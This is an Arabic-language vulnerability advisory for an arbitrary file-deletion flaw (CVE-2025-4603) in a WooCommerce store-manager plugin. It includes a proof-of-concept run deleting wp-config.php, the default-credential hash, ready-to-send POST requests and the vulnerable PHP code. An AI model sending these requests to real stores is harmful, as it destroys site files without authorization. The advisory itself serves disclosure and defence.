
eMagicOne Store Manager for WooCommerce <= 1.2.5 - حذف ملفات عشوائي غير مصرح به
يُعرّض إضافة مدير متجر eMagicOne لـ WooCommerce نقطة نهاية بروتوكول إدارة عن بعد (?connector=bridge) تسمح بعمليات حذف الملفات على الخادم. تعتمد آلية المصادقة على زوج افتراضي من بيانات الاعتماد (login=1, password=1) ونظام مفتاح جلسة. إذا لم يتم تغيير بيانات الاعتماد الافتراضية، يمكن للمهاجم المصادقة بسهولة، والحصول على مفتاح جلسة، وحذف ملفات عشوائية من جذر ووردبريس أو أي دليل يمكن الوصول إليه.
يتم توفير إثبات مفهوم CVE-2025-4603.py لتوضيح قيام مهاجم بحذف wp-config.php.
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}
عند تفعيل الإضافة، يتم تعيين الثوابت التالية في smconnector.php:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
التجزئة الافتراضية المستخدمة للمصادقة هي:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
النتيجة: التجزئة الافتراضية هي md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b.
يتم الحصول على مفتاح جلسة عن طريق إرسال طلب POST إلى نقطة نهاية الجسر مع التجزئة ومهمة (مثل get_version):
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
الكود ذو الصلة:
classes/class-emosmconnectorcommon.php (السطور ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
يتم تخزين مفتاح الجلسة في جدول wp_smconnector_session_keys:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
باستخدام مفتاح جلسة صالح، يمكن للمهاجم حذف ملف باستخدام مهمة delete_file:
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php
الكود ذو الصلة:
classes/class-emosmconnectorcommon.php (السطور ~2167+):
/** Delete file */
private function delete_file() {
if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
$this->generate_error( $this->br_errors['path_param_missing'] );
}
$filepath = (string) $this->shop_cart->get_request_param( 'path' );
if ( empty( $filepath ) ) {
$this->generate_error( $this->br_errors['path_param_empty'] );
}
$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;
if ( ! $this->shop_cart->file_exists( $filepath ) ) {
$this->generate_error( $this->br_errors['delete_file_error'] );
}
$this->shop_cart->delete_file( $filepath );
}
حذف الملف في class-emosmcwoocommerceoverrider.php (السطور ~380+):::
public function delete_file($filepath) {
if (!file_exists($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
self::KEY_MESSAGE => 'File is missing on server',
)));
}
if (unlink($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::SUCCESSFUL,
self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
)));
}
}
النتيجة: يتم حذف الملف من الخادم.